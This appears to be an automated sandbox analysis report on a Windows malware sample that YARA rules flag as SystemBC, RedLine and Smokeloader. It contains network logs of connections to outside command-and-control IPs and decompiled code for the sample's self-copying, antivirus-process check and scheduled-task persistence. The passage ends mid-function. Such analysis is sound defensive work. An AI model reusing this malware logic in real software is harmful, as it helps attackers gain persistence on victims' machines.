2022-12-11 08:25:05 UTC	OUT	GET / HTTP/1.0 Host: api.ipify.org User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
2022-12-11 08:25:06 UTC	IN	HTTP/1.0 200 OK Content-Length: 11 Content-Type: text/plain Date: Sun, 11 Dec 2022 08:25:06 GMT Vary: Origin
2022-12-11 08:25:06 UTC	IN	Data Raw: 38 34 2e 31 37 2e 35 32 2e 35 31 Data Ascii: 84.17.52.51

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49718	64.185.227.156	443	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	Direction	Data
2022-12-11 08:25:52 UTC	OUT	GET / HTTP/1.0 Host: api.ipify.org User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
2022-12-11 08:25:53 UTC	IN	HTTP/1.0 200 OK Content-Length: 11 Content-Type: text/plain Date: Sun, 11 Dec 2022 08:25:53 GMT Vary: Origin
2022-12-11 08:25:53 UTC	IN	Data Raw: 38 34 2e 31 37 2e 35 32 2e 35 31 Data Ascii: 84.17.52.51

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49737	64.185.227.156	443	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	Direction	Data
2022-12-11 08:26:39 UTC	OUT	GET / HTTP/1.0 Host: api.ipify.org User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
2022-12-11 08:26:40 UTC	IN	HTTP/1.0 200 OK Content-Length: 11 Content-Type: text/plain Date: Sun, 11 Dec 2022 08:26:39 GMT Vary: Origin
2022-12-11 08:26:40 UTC	IN	Data Raw: 38 34 2e 31 37 2e 35 32 2e 35 31 Data Ascii: 84.17.52.51

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49757	23.128.64.141	443	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-11 08:26:57 UTC	0	OUT	GET / HTTP/1.0 Host: ip4.seeip.org User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
2022-12-11 08:26:57 UTC	0	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Sun, 11 Dec 2022 08:26:57 GMT Content-Type: text/plain Content-Length: 11 Connection: close strict-transport-security: max-age=31536000; includeSubDomains
2022-12-11 08:26:57 UTC	1	IN	Data Raw: 38 34 2e 31 37 2e 35 32 2e 35 31 Data Ascii: 84.17.52.51

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: p9CvI6kq7d.exePID: 3184, Parent PID: 3452

General

Target ID:	0
Start time:	09:24:58
Start date:	11/12/2022
Path:	C:\Users\user\Desktop\p9CvI6kq7d.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\p9CvI6kq7d.exe
Imagebase:	0x400000
File size:	111104 bytes
MD5 hash:	0F6F452EE406B3360E39819AAC42A200
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.245017062.0000000000546000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: MALWARE_Win_EXEPWSH_DLAgent, Description: Detects SystemBC, Source: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000000.00000003.243252141.0000000000680000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_EXEPWSH_DLAgent, Description: Detects SystemBC, Source: 00000000.00000003.243252141.0000000000680000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: orvsmwx.exePID: 6072, Parent PID: 1080

General

Target ID:	1
Start time:	09:25:01
Start date:	11/12/2022
Path:	C:\ProgramData\prfxiau\orvsmwx.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\prfxiau\orvsmwx.exe start
Imagebase:	0x400000
File size:	111104 bytes
MD5 hash:	0F6F452EE406B3360E39819AAC42A200
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: 00000001.00000003.249872863.0000000000590000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_EXEPWSH_DLAgent, Description: Detects SystemBC, Source: 00000001.00000003.249872863.0000000000590000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: p9CvI6kq7d.exePID: 3184, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	40.4%
Signature Coverage:	31.9%
Total number of Nodes:	1165
Total number of Limit Nodes:	10

Executed Functions

Function 00401000 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 100
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			_entry_() {
				char _v772;
				char _v1028;
				intOrPtr _v1032;
				void* _v1036;
				char _v1040;
				intOrPtr _t21;
				void* _t28;
				void* _t29;
				void* _t44;
				short* _t49;
				void* _t52;
				void* _t54;

				E004066D2( &_v1040, _t52 - _t52 + 0xfffffbf4);
				CreateThread(0, 0, E00406004, E00406122, 0, 0); // executed
				GetModuleFileNameA(0,  &_v1028, 0x100);
				_t21 = E0040629B(_t54, "start"); // executed
				_v1032 = _t21;
				_t22 = _t21;
				if(_t21 == 0) {
					_t7 = E00406A32(_t22, 4) + 4; // 0x4
					_t44 = _t7;
					do {
						_t23 = E00406A32(_t23, 0x18) + 0x61;
						asm("stosb");
						_t44 = _t44 - 1;
						__eflags = _t44;
					} while (_t44 != 0);
					L6:
					_v1036 = OpenMutexA(0x100000, 0, "orvsmwx");
					CreateMutexA(0, 0, "orvsmwx"); // executed
					if(_v1032 == 0) {
						L9:
						EnumWindows(E00405DB5, 0); // executed
						Sleep(0x2710); // executed
						_t28 = E004061E1(); // executed
						_t59 = _t28 - 0x1000;
						if(_t28 == 0x1000) {
							L8:
							E0040490E();
							goto L9;
						}
						_t29 = E00405C22(_t59, "a2guard.exe"); // executed
						_t60 = _t29;
						if(_t29 == 0) {
							GetModuleFileNameA(0,  &_v1028, 0x100);
							E00405D44(_t60,  &_v772, "orvsmwx"); // executed
							CopyFileA( &_v1028,  &_v772, 0); // executed
							E00405832(_t60, "orvsmwx", 0,  &_v772, "start", 0, 1); // executed
						}
						L12:
						Sleep(0xea60); // executed
						ExitProcess(0); // executed
						return CreateWindowExA();
					}
					if(_v1036 != 0) {
						goto L12;
					}
					goto L8;
				}
				_t49 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x30));
				do {
					asm("movsb");
					_t49 = _t49 + 1;
				} while ( *_t49 != 0x2e);
				goto L6;
			}

0x00401014
0x0040102b
0x0040103e
0x00401048
0x0040104d
0x00401053
0x00401055
0x00401083
0x00401083
0x00401086
0x0040108d
0x00401090
0x00401091
0x00401091
0x00401091
0x00401094
0x004010a5
0x004010b4
0x004010c0
0x004010d4
0x004010db
0x004010e5
0x004010ea
0x004010ef
0x004010f4
0x004010cf
0x004010cf
0x00000000
0x004010cf
0x004010fb
0x00401100
0x00401102
0x00401112
0x00401123
0x00401138
0x00401154
0x00401154
0x00401159
0x0040115e
0x00406fe7
0x00406fec
0x00406fec
0x004010c9
0x00000000
0x00000000
0x00000000
0x004010c9
0x00401063
0x0040106c
0x0040106c
0x0040106d
0x0040106e
0x00000000

APIs

CreateThread.KERNEL32 ref: 0040102B
GetModuleFileNameA.KERNEL32(00000000,?,00000100,00000000,00000000,00406004,00406122,00000000,00000000,?), ref: 0040103E

Part of subcall function 0040629B: GetCommandLineW.KERNEL32(?,?), ref: 004062B7
Part of subcall function 0040629B: CommandLineToArgvW.SHELL32(00000000,?,?,?), ref: 004062C5

OpenMutexA.KERNEL32 ref: 004010A0
CreateMutexA.KERNEL32(00000000,00000000,orvsmwx,00100000,00000000,orvsmwx,00000018,00000004,start,00000000,?,00000100,00000000,00000000,00406004,00406122), ref: 004010B4
EnumWindows.USER32(00405DB5,00000000), ref: 004010DB
Sleep.KERNEL32(00002710), ref: 004010E5
GetModuleFileNameA.KERNEL32(00000000,?,00000100,a2guard.exe,00002710,00405DB5,00000000,00002710), ref: 00401112
CopyFileA.KERNEL32(?,?,00000000), ref: 00401138
Sleep.KERNEL32(0000EA60,a2guard.exe,00002710,00405DB5,00000000,00002710), ref: 0040115E
ExitProcess.KERNEL32(00000000,0000EA60,a2guard.exe,00002710,00405DB5,00000000,00002710), ref: 00406FE7

Strings

orvsmwx, xrefs: 00401066, 00401076, 00401094, 004010AB, 00401117, 0040114F
start, xrefs: 00401043, 00401141
a2guard.exe, xrefs: 004010F6

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: File$CommandCreateLineModuleMutexNameSleep$ArgvCopyEnumExitOpenProcessThreadWindows
String ID: a2guard.exe$orvsmwx$start
API String ID: 1578829165-2223297755
Opcode ID: 1564a09994389c12c790aa1c56f8f0923b713c99f736ce34b054b87e389707f8
Instruction ID: d1cc41d46dd628a9a50eddfed4807871f681f71730b1e77f83a00c1e3dac253f
Opcode Fuzzy Hash: 1564a09994389c12c790aa1c56f8f0923b713c99f736ce34b054b87e389707f8
Instruction Fuzzy Hash: D8319970B84309BAF720B7618C47F9A7358AB44B08F11447BB7457E1D3D9FC6A818A2E

Uniqueness

Uniqueness Score: -1.00%

Function 00405832 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 241
timecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E00405832(void* __eflags, intOrPtr _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* _v8;
				void* _v12;
				char _v1032;
				char _v1036;
				void* _v1040;
				char _v1044;
				char _v1056;
				short _v1060;
				intOrPtr _v1068;
				intOrPtr _v1072;
				short _v1074;
				short _v1076;
				short _v1078;
				short _v1080;
				short _v1082;
				short _v1084;
				short _v1086;
				short _v1088;
				char _v1092;
				void* _v1096;
				struct _SYSTEMTIME _v1112;
				struct _FILETIME _v1120;
				char _v1376;
				char _v1888;
				char _v2144;
				char _v2400;
				char _v2656;
				char _v2912;
				char _v3168;
				char _v3424;
				char* _t102;
				intOrPtr* _t111;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr* _t115;
				void* _t120;
				intOrPtr* _t122;
				intOrPtr* _t126;
				intOrPtr* _t128;
				intOrPtr* _t132;
				intOrPtr* _t135;
				void* _t143;
				short _t151;
				intOrPtr* _t154;
				intOrPtr* _t160;
				intOrPtr* _t163;
				intOrPtr* _t165;
				intOrPtr* _t167;
				intOrPtr* _t169;
				intOrPtr* _t174;

				E004068D9(__eflags, _a4,  &_v1376);
				E004068D9(__eflags, _a12,  &_v1888);
				E00405B81(__eflags, _a4); // executed
				_push(0);
				L004071BA();
				E004066E9(0x4090c5, 0x10,  &_v2400);
				E004066E9(0x4090d5, 0x10,  &_v2656);
				_push( &_v8);
				_push( &_v2656);
				_push(1);
				_push(0);
				_t102 =  &_v2400;
				_push(_t102);
				L004071B4();
				if(_t102 >= 0) {
					E004066E9(0x4090e5, 0x10,  &_v2912);
					E004066E9(0x4090f5, 0x10,  &_v3168);
					_t111 = _v8;
					_t113 =  *((intOrPtr*)( *((intOrPtr*)( *_t111 + 0x20))))(_t111,  &_v1376,  &_v3168,  &_v2912,  &_v12); // executed
					if(_t113 >= 0) {
						_t115 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t115 + 0x70))))(_t115, 0x2202);
						E004066D2( &_v1036, 0x400); // executed
						_t120 = E004061E1(); // executed
						if(_t120 != 0x4000 && _t120 != 0x3000) {
							_v1036 = 0x100;
							_push( &_v1036);
							_push( &_v1032);
							_push(2);
							L004071F0();
						}
						_t122 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t122 + 0x78))))(_t122,  &_v1032, 0);
						_t126 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t126 + 0x80))))(_t126,  &_v1888); // executed
						_t209 = _a16;
						if(_a16 != 0) {
							E004068D9(_t209, _a16,  &_v2144);
							_t174 = _v12;
							 *((intOrPtr*)( *((intOrPtr*)( *_t174 + 0x88))))(_t174,  &_v2144);
						}
						_t128 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t128 + 0xa8))))(_t128, 0xd65cb580);
						_push( &_v1040);
						_push( &_v1044);
						_t132 = _v12;
						_push(_t132);
						if( *((intOrPtr*)( *((intOrPtr*)( *_t132 + 0xc))))() >= 0) {
							E004066D2( &_v1092, 0x30);
							GetLocalTime( &_v1112);
							SystemTimeToFileTime( &_v1112,  &_v1120);
							_t143 = 0x47868c00;
							if(_a20 == 1) {
								_t143 = 0x29b92700;
							}
							_v1120.dwLowDateTime = _v1120.dwLowDateTime + _t143;
							asm("adc [ebp-0x458], edx");
							FileTimeToSystemTime( &_v1120,  &_v1112);
							if(_a20 == 0) {
								_v1060 = 1;
								_v1056 = 1;
								_v1072 = 0x5a0;
								_v1068 = 2;
							}
							_v1092 = 0x30;
							_v1074 = _v1112.wMinute;
							_v1076 = _v1112.wHour;
							_v1084 = _v1112.wDay;
							_v1086 = _v1112.wMonth;
							_t151 = _v1112.wYear;
							_v1088 = _t151;
							_v1082 = _t151 + 0x64;
							_v1080 = 1;
							_v1078 = 1;
							_t154 = _v1040;
							 *((intOrPtr*)( *((intOrPtr*)( *_t154 + 0xc))))(_t154,  &_v1092);
							E004066E9(0x409105, 0x10,  &_v3424);
							_push( &_v1096);
							_push( &_v3424);
							_t160 = _v12;
							_push(_t160);
							if( *((intOrPtr*)( *((intOrPtr*)( *_t160))))() >= 0) {
								_t165 = _v1096;
								 *((intOrPtr*)( *((intOrPtr*)( *_t165 + 0x18))))(_t165, 0, 1); // executed
								if(_a24 != 0) {
									_t169 = _v12;
									 *((intOrPtr*)( *((intOrPtr*)( *_t169 + 0x30))))(_t169); // executed
								}
								_t167 = _v1096;
								 *((intOrPtr*)( *((intOrPtr*)( *_t167 + 8))))(_t167);
							}
							_t163 = _v1040;
							 *((intOrPtr*)( *((intOrPtr*)( *_t163 + 8))))(_t163);
						}
						_t135 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t135 + 8))))(_t135);
					}
					_t114 = _v8;
					_t102 =  *((intOrPtr*)( *((intOrPtr*)( *_t114 + 8))))(_t114);
				}
				L004071C0();
				return _t102;
			}

0x00405848
0x00405857
0x0040585f
0x00405864
0x00405866
0x00405879
0x0040588c
0x00405894
0x0040589b
0x0040589c
0x0040589e
0x004058a0
0x004058a6
0x004058a7
0x004058af
0x004058c3
0x004058d6
0x004058f4
0x004058fd
0x00405902
0x0040590d
0x00405916
0x00405924
0x00405929
0x00405933
0x0040593f
0x0040594f
0x00405956
0x00405957
0x00405959
0x00405959
0x00405967
0x00405970
0x00405979
0x00405985
0x00405987
0x0040598b
0x00405997
0x004059a3
0x004059af
0x004059af
0x004059b6
0x004059c2
0x004059ca
0x004059d1
0x004059d2
0x004059d7
0x004059e0
0x004059ef
0x004059fb
0x00405a0e
0x00405a13
0x00405a1c
0x00405a1e
0x00405a1e
0x00405a25
0x00405a2b
0x00405a3f
0x00405a48
0x00405a4a
0x00405a54
0x00405a5b
0x00405a65
0x00405a65
0x00405a6f
0x00405a7f
0x00405a8d
0x00405a9b
0x00405aa9
0x00405ab0
0x00405ab7
0x00405ac2
0x00405ac9
0x00405ad2
0x00405ae2
0x00405aee
0x00405afe
0x00405b09
0x00405b10
0x00405b11
0x00405b16
0x00405b1e
0x00405b24
0x00405b30
0x00405b36
0x00405b38
0x00405b41
0x00405b41
0x00405b43
0x00405b4f
0x00405b4f
0x00405b51
0x00405b5d
0x00405b5d
0x00405b5f
0x00405b68
0x00405b68
0x00405b6a
0x00405b73
0x00405b73
0x00405b75
0x00405b7e

APIs

Part of subcall function 00405B81: CoInitialize.OLE32(00000000), ref: 00405B9F
Part of subcall function 00405B81: CoCreateInstance.OLE32(?,00000000,00000001,?,?,004090D5,00000010,?,004090C5,00000010,?,?,?,?,?,000000C7), ref: 00405BE0
Part of subcall function 00405B81: CoUninitialize.OLE32(?,00000000,00000001,?,?,004090D5,00000010,?,004090C5,00000010,?,?,?,?,?,000000C7), ref: 00405C16

CoInitialize.OLE32(00000000), ref: 00405866
CoCreateInstance.OLE32(?,00000000,00000001,?,?,004090D5,00000010,?,004090C5,00000010,?,00000000,?,?,?,?), ref: 004058A7
CoUninitialize.OLE32(?,00000000,00000001,?,?,004090D5,00000010,?,004090C5,00000010,?,00000000,?,?,?,?), ref: 00405B75

Part of subcall function 004061E1: GetCurrentProcess.KERNEL32(?,orvsmwx,00000003), ref: 004061F8
Part of subcall function 004061E1: OpenProcessToken.ADVAPI32(00000000,00000008,?,?,orvsmwx,00000003), ref: 00406206
Part of subcall function 004061E1: LocalAlloc.KERNEL32(00000000,?,00000000,00000008,?,?,orvsmwx,00000003), ref: 00406218
Part of subcall function 004061E1: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,00000000,00000008,?,?,orvsmwx,00000003), ref: 0040622F
Part of subcall function 004061E1: LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,orvsmwx,00000003), ref: 0040623D
Part of subcall function 004061E1: LocalAlloc.KERNEL32(00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,orvsmwx,00000003), ref: 00406247
Part of subcall function 004061E1: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000), ref: 0040625E
Part of subcall function 004061E1: GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,orvsmwx,00000003), ref: 0040626E
Part of subcall function 004061E1: LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,orvsmwx,00000003), ref: 00406286
Part of subcall function 004061E1: CloseHandle.KERNEL32(?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?,?,orvsmwx,00000003), ref: 0040628E

GetUserNameExW.SECUR32(00000002,?,?,?,00000400,?,0040556D,?,00000014,?,00000000,00000001,00000000,00000018,?,?), ref: 00405959
GetLocalTime.KERNEL32(?,?,00000030,?,0040556D,?,00000014,?,00000000,00000001,00000000,00000018,?,?,?,00000002), ref: 004059FB
SystemTimeToFileTime.KERNEL32(?,?,?,?,00000030,?,0040556D,?,00000014,?,00000000,00000001,00000000,00000018,?,?), ref: 00405A0E
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,00000030,?,0040556D,?,00000014,?,00000000,00000001,00000000,00000018), ref: 00405A3F

Strings

0, xrefs: 00405A6F

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: LocalTime$Token$AllocCreateFileFreeInformationInitializeInstanceProcessSystemUninitialize$AuthorityCloseCurrentHandleNameOpenUser
String ID: 0
API String ID: 1653648096-4108050209
Opcode ID: c686f755bdf1e39982c1454a3e7c8e1e44bc1fa9189fb24b5cfb18d335d6731f
Instruction ID: 4ed8c24e1e53c24dfdbf1185890515f3868c95ababa1bf71d62bcb2bd1a1986c
Opcode Fuzzy Hash: c686f755bdf1e39982c1454a3e7c8e1e44bc1fa9189fb24b5cfb18d335d6731f
Instruction Fuzzy Hash: BAA1FCB5900618AFDB10DB94CC85FDAB3BCEF48304F1041EAE609E7291D675AE85CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00405C22 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 86
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00405C22(void* __eflags, intOrPtr _a4) {
				void* _v8;
				char _v16;
				char _v268;
				void* _v304;
				char _v560;
				char _v816;
				char _v820;
				void* _t26;
				int _t33;
				char _t43;
				char* _t50;
				void* _t51;

				E004066D2( &_v820,  &_v16 - _t51);
				E004066E9(_a4, 0xffffffff,  &_v560);
				_t26 = CreateToolhelp32Snapshot(2, 0); // executed
				_v8 = _t26;
				_t53 = _t26 - 0xffffffff;
				if(_t26 == 0xffffffff) {
					L13:
					return _v820;
				}
				E004066D2( &_v304, 0x128);
				_v304 = 0x128;
				E00406EE2(_t53, E00406DF2("kernel32.dll"), "Process32First"); // executed
				_t33 = Process32First(_v8,  &_v304); // executed
				while(_t33 != 0) {
					E0040664B( &_v268,  &_v816, E0040690B(__eflags,  &_v268) + 1);
					_t50 =  &_v816;
					while(1) {
						__eflags =  *_t50;
						if(__eflags == 0) {
							break;
						}
						__eflags =  *_t50 - 0x40;
						if( *_t50 > 0x40) {
							__eflags =  *_t50 - 0x5b;
							if( *_t50 < 0x5b) {
								 *_t50 =  *_t50 + 0x20;
								__eflags =  *_t50;
							}
						}
						_t50 = _t50 + 1;
						__eflags = _t50;
					}
					_t43 = E00406926(__eflags,  &_v816,  &_v560);
					__eflags = _t43;
					if(_t43 == 0) {
						_push( &_v304);
						_push(_v8);
						_t33 =  *((intOrPtr*)(E00406EE2(__eflags, E00406DF2("kernel32.dll"), "Process32Next")))();
						continue;
					}
					_v820 = 1;
					break;
				}
				CloseHandle(_v8); // executed
				goto L13;
			}

0x00405c39
0x00405c4a
0x00405c53
0x00405c58
0x00405c5b
0x00405c5e
0x00405d37
0x00405d41
0x00405d41
0x00405c70
0x00405c75
0x00405c99
0x00405c9e
0x00405d27
0x00405cc3
0x00405cc8
0x00405cde
0x00405cde
0x00405ce1
0x00000000
0x00000000
0x00405cd0
0x00405cd3
0x00405cd5
0x00405cd8
0x00405cda
0x00405cda
0x00405cda
0x00405cd8
0x00405cdd
0x00405cdd
0x00405cdd
0x00405cf1
0x00405cf6
0x00405cf8
0x00405d0c
0x00405d0d
0x00405d25
0x00000000
0x00405d25
0x00405cfa
0x00000000
0x00405cfa
0x00405d32
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00405C53
Process32First.KERNEL32(00000000,Process32First,kernel32.dll,?,?,?,00000128,?,000000FF,?,?,?,orvsmwx,?,00000003), ref: 00405C9E
CloseHandle.KERNEL32(?,?,00000003), ref: 00405D32

Strings

Process32First, xrefs: 00405C93
orvsmwx, xrefs: 00405C2D
Process32Next, xrefs: 00405D1A
kernel32.dll, xrefs: 00405C89, 00405D10

Memory Dump Source

Source File: 00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID: Process32First$Process32Next$kernel32.dll$orvsmwx
API String ID: 1083639309-2465180310
Opcode ID: 0b6b0add97ecafb345920e5dd05336f13e6089d060fa475ca454665a776cbf4f
Instruction ID: fb24cc0d0821428469d9c4020bed10aa43447eb5f65a7c4c6a80d054306b612c
Opcode Fuzzy Hash: 0b6b0add97ecafb345920e5dd05336f13e6089d060fa475ca454665a776cbf4f
Instruction Fuzzy Hash: C9317171D042196AEB11EBA1CC45FDFB6ACDF04314F2045BBB246B20C1EB399B548F69

Uniqueness

Uniqueness Score: -1.00%

Function 0067092B Relevance: 3.8, Strings: 3, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

GetProcAddress., xrefs: 006709DC, 006709DF, 006709E4
., xrefs: 0067095F
l, xrefs: 00670966

Memory Dump Source

Source File: 00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_p9CvI6kq7d.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: fdea5112b507ed43f9be9818f2c68c7f3a31b4d59b07ba3e2894d317889efb2f
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 54317AB6910609DFEB10CF99C880AEEBBF6FF48324F24904AD545A7311D771EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00412E19 Relevance: 37.7, APIs: 25, Instructions: 224
stringthreadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(004A4B38), ref: 00412E56
LoadLibraryA.KERNEL32(0041740C), ref: 00412E7B
GetListBoxInfo.USER32(00000000), ref: 00412E93
GetProfileStringA.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00412EB0
LocalAlloc.KERNEL32(00000000,00000000), ref: 00412EE7
TerminateThread.KERNEL32(00000000,00000000), ref: 00412F18
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00412F3E
GetTickCount.KERNEL32 ref: 00412F47
GetSystemTime.KERNEL32(00000000), ref: 00412F5A
GetLocalTime.KERNEL32(00000000), ref: 00412F61
GetCommandLineA.KERNEL32 ref: 00412F67
GetPrivateProfileStructW.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00412F78
lstrcpyW.KERNEL32(004A4B38,0041741C), ref: 00412FC0
CreateSemaphoreA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00412FF3
GetPrivateProfileIntA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041301F
FindResourceExA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041303A
AddAtomW.KERNEL32(00000000), ref: 0041305C
SetThreadContext.KERNEL32(00000000,00000000), ref: 00413064
MoveFileW.KERNEL32(00000000,00000000), ref: 00413096
ContinueDebugEvent.KERNEL32(00000000,00000000,00000000), ref: 0041309F
DebugBreak.KERNEL32 ref: 004130A5
GetConsoleScreenBufferInfo.KERNEL32(00000000,00000000), ref: 004130C9
GetConsoleMode.KERNEL32(00000000,00000000), ref: 004130D1
SetCurrentDirectoryW.KERNEL32(00000000), ref: 004130D8
GetBinaryTypeW.KERNEL32(00000000,?), ref: 0041310A

Memory Dump Source

Source File: 00000000.00000002.244956693.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_p9CvI6kq7d.jbxd

Similarity

API ID: ConsoleInfoProfile$DebugLocalPrivateThreadTime$AllocAtomBinaryBreakBufferCommandContextContinueCountCreateCurrentCursorDirectoryEventFileFindLibraryLineListLoadModeMoveResourceScreenSemaphoreStringStructSystemTerminateTickTypelstrcpylstrlen
String ID:
API String ID: 3143118104-0
Opcode ID: ef39abcb520fea259e5d21b18f863b1e0f25756422ebacfaa08b98eed59ccb17
Instruction ID: 0a9d982c059fb8aead09ffede9754a7502786d2d5d0686ba2a5e24e7ddd893cf
Opcode Fuzzy Hash: ef39abcb520fea259e5d21b18f863b1e0f25756422ebacfaa08b98eed59ccb17
Instruction Fuzzy Hash: 8171E4B1801204AFD7116B62EEC8AEF3EACE78834AB01543AF546D2121C7BC9DD1877D

Uniqueness

Uniqueness Score: -1.00%

Function 00406004 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 78
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E00406004(intOrPtr _a4) {
				struct HINSTANCE__* _v8;
				struct _WNDCLASSA _v48;
				struct HWND__* _v52;
				struct tagMSG _v80;
				char _v336;
				char _v592;
				struct HICON__* _t38;
				struct HWND__* _t43;
				void* _t54;
				void* _t55;

				E004066D2( &_v592, _t54 - _t55);
				E004066E9("Microsoft", 0xa,  &_v336);
				E004066E9("win32app", 9,  &_v592);
				_v8 = GetModuleHandleA(0);
				_v48.style = 0;
				_v48.lpfnWndProc = _a4;
				_v48.cbClsExtra = 0;
				_v48.cbWndExtra = 0;
				_v48.hInstance = _v8;
